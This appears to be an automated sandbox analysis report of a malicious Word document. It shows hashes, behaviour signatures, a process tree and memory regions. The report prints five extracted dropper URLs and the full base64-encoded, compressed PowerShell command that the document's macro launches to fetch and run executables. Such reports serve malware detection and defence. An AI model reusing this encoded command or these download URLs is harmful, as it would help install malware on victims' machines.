Analysis

  • max time kernel
    122s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    31-05-2024 03:11

General

  • Target

    74b7937d9dde45f0074f84a9b498f78aJaffaCakes118.doc

  • Size

    116KB

  • MD5

    74b7937d9dde45f0074f84a9b498f78a

  • SHA1

    1277e5b4de10821cd4639c7b7d8432c63eef80bf

  • SHA256

    0da2937ce8a3abe5aea37dd08b2e0d20e384dfa9fbdaa322cd65c554bbfe245f

  • SHA512

    056b1b624abb1ef2d5b26cac5aa6117d191309d89b6d2f4e3b4b1086d1bce450f60458c36b92b07dafb5f500346b2f298f69dd09a878383dbf69d9e18acb1d5d

  • SSDEEP

    1536:DD7MGWIgX0z/OGNFK+agC//4n/+ssAeTQDg4C:P79yXsE/g/+PAe8DnC

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://weltcars.com/KQRlI5J2z/

exe.dropper

http://www.lexus8.com/application/app/storage/fcUvyw/

exe.dropper

http://tramper.cn/mYxYbKPAYL/

exe.dropper

http://www.dadaizm.com/8NsZJvZYoy/

exe.dropper

http://mguize.com.br/ljvj3K7/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\74b7937d9dde45f0074f84a9b498f78aJaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2860
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2116
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowersHeLL.exe
        PowersHeLL -e KAAgAG4AZQB3AC0ATwBiAGoARQBDAHQAIAAgAHMAeQBTAFQAZQBtAC4AaQBvAC4AYwBPAE0AUAByAEUAUwBTAEkATwBOAC4AZABFAEYATABBAHQARQBzAFQAcgBlAEEAbQAoACAAWwBzAFkAUwBUAGUAbQAuAEkAbwAuAG0ARQBtAE8AcgB5AHMAdAByAGUAYQBNAF0AIABbAEMATwBuAHYARQByAHQAXQA6ADoAZgByAG8ATQBiAGEAUwBlADYANABzAHQAUgBJAG4ARwAoACcAVgBaAEIAdABTADgATQB3AEYASQBYAC8AUwBqADQAVQB1AHEARgBMAGMAQwBxAEsAUgBYAEQANABBAGoAcQBkADAAeQBvADYARQBTAFIATgA3ADkAYgBVAE4ASwBuAEoAWABkAHQAdAA3AEwAKwBiAFQAaQBmADQASgBTAFQAMwBuAEgATQBQAGUAWQBMAHoAeAA2AHAAVwA1AEoAUgBvAHEASABzAG0AeQBVAEUAZwBzAFYAeQBuAHAAbwBpAEMAMQAxAFQAZgBYAC8AKwBYADQAbwBWAEQASwBPAGcASQBrAEwANQBBAGMAcQA0AGsAYQBJAHkAQwBzAFIAcwBVADgAYwBnADcAdwB3AHkAeABkAEMAZQBNADEAYQBCAFEAYwBPAHUAbwBNAEEAVQBiAFAAagB5AHEANgA4AE8AYgAvAHAASwBkAHQAWABvAHIAMQB6AFYAVgAwAE0AegBkADgAYwBiAEEAeQAxAEoASgB3AFYARQBhADMAZAA2AFoAUQAyAFAANQBEAE4AaABVAFAARgBlAEwAKwBpACsARgBsAGgAYwBsAFcAQwBvADAASwB5AGIATgBKAEIAbQBPAEIANQBQAGIAZgB6AHQAVABuAG4ASwA1AEwARABaAEwAagAwAGYAdQA3AGEAWgA2AG0ANQBqAEYAbgA2AFcAWQB6AGUAVQBTAFcAcABVAG0AbABxAG0AOAB5AHYAZQBIAFIAeQB5AGsAcwBhAC8ASABUAG4AZwBXAGQAcQBOAEEAcQBaAHgALwBqAHYAMQBmAGcAZwAwAFoAcQBxAEgAQgB6AHQANAB1ADYAZQA4AGYAOQBBACsATwB2AE8ASABMAEcAYQBrAEcAcgBRAEYAMABkAGUASgBwAGwARwBTAEgAaABPACsAaABQADcAZABoAC8ANgBiAFEAUQBCAGgATgBqAFEAVQB1AHMAawA2AFEAWgAxAE8AeABGAEUAUgBxADgAZwB1AHIAdQAwAEsANwBXAFAAMABnAHAAaABlAG0AMQBzAHIAdwA5AEUAbwBxADIASAByAHAAawA0AG4AUgBTAGoAMwByAGQASABmAEoAYgAyAGsAMwBpAHAARgBiADcASQAyAHQARQBlAEQAYwBkAGgAdwBsAHYAdQBVAHoAVwBuAHUAQwBJAGwAdgBWAFYAaQBMADAATQB1AE8AUQBCAEIALwAwAHMAaABGAFEAdABtAEQAcABuAFUAOQA0AHEATgBGADYALwBRADAAPQAnACkAIAAsACAAWwBpAE8ALgBjAE8AbQBQAHIARQBTAFMAaQBPAG4ALgBjAE8ATQBwAFIARQBzAHMAaQBvAG4AbQBPAEQAZQBdADoAOgBkAGUAYwBvAE0AcABSAGUAcwBTACAAKQB8ACUAewBuAGUAdwAtAE8AYgBqAEUAQwB0ACAAIABTAHkAUwB0AGUATQAuAGkATwAuAFMAVABSAEUAQQBNAHIAZQBhAEQAZQBSACgAIAAkAF8AIAAsAFsAUwBZAFMAdABFAE0ALgBUAEUAWAB0AC4AZQBuAEMAbwBEAGkATgBnAF0AOgA6AGEAcwBjAGkAaQApAH0AIAB8ACAAJQAgAHsAIAAkAF8ALgBSAEUAYQBkAFQAbwBFAE4AZAAoACAAKQB9ACkAfAAmACAAKAAgACQAcwBIAGUAbABMAGkARABbADEAXQArACQAcwBIAGUAbABsAEkAZABbADEAMwBdACsAJwB4ACcAKQA=
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2884

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      7f1fa52077596664c0572023deeb673a

      SHA1

      f809955b23a657021fe42833a07f566a5201a592

      SHA256

      aa22beb27a1714f7f92a0083ae6a0f525fb184da6205625616d1df90af237f22

      SHA512

      a5bc1ec36d3f5e7e3d2a98fc70caf5b459a80e05626b257e81322a0daf40377100de6a9a085782b86eb64e3db7fbfa78ff7f3188e60eacd866240340bc1c198b

    • memory/2860-26-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2860-7-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2860-20-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2860-0-0x000000002FD81000-0x000000002FD82000-memory.dmp

      Filesize

      4KB

    • memory/2860-9-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2860-8-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2860-15-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2860-19-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2860-18-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2860-17-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2860-16-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2860-14-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2860-13-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2860-12-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2860-11-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2860-10-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2860-6-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2860-27-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2860-2-0x000000007170D000-0x0000000071718000-memory.dmp

      Filesize

      44KB

    • memory/2860-33-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2860-40-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2860-34-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2860-41-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2860-47-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2860-48-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2860-54-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2860-55-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2860-61-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2860-69-0x000000007170D000-0x0000000071718000-memory.dmp

      Filesize

      44KB

    • memory/2860-70-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2860-71-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2860-72-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB

    • memory/2860-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2860-88-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2860-89-0x000000007170D000-0x0000000071718000-memory.dmp

      Filesize

      44KB

    • memory/2860-90-0x0000000000630000-0x0000000000730000-memory.dmp

      Filesize

      1024KB